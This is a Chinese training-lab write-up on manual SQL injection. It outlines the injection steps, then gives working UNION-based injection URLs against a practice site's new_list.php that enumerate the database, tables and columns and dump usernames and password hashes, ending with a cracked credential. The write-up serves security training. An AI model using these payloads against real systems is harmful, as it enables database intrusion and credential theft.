实训目标
- 掌握SQL注入原理;
- 了解手工注入的方法;
- 了解MySQL的数据结构;
- 了解字符串的MD5加解密;
sql注入的流程
- 1、判断注入点
- 2、判断注入类型,是字符型还是数字型
- 3、判断字段数
- 4、判断显示位
- 5、得库名
- 6、得表名
- 7、得列名
- 8、得数据
盲注和报错注入可能不太会用到上面的步骤,但是大致思想都是相同的。
注入步骤
起初以为是在登录窗口进行的POST注入,试了很多次没有成功,后来发现下面还有一个页面
在这里找到了它的注入点在URL中
接下来判断注入类型(这里and应该是被过滤了,只能用or)
可知为字符型注入点,接下来判断字段数
可知字段数为4,接下来判断显示位,回显出了2和3
得库名,命令:http://219.153.49.228:44202/new_list.php?id=1' union select 1,database(),3,4 --+
得表名,命令:
http://219.153.49.228:44202/new_list.php?id=1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
。
查看stormgroup_member中的列名,命令:http://219.153.49.228:44202/new_list.php?id=1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name="stormgroup_member"--+
。
查看name和password中的数据,命令:http://219.153.49.228:44202/new_list.php?id=1' union select 1,group_concat(name,"^",password),3,4 from stormgroup_member --+
。注入成功。
将第二个密码穷举摘要可得,用户名:mozhe 密码:166978。登录得key。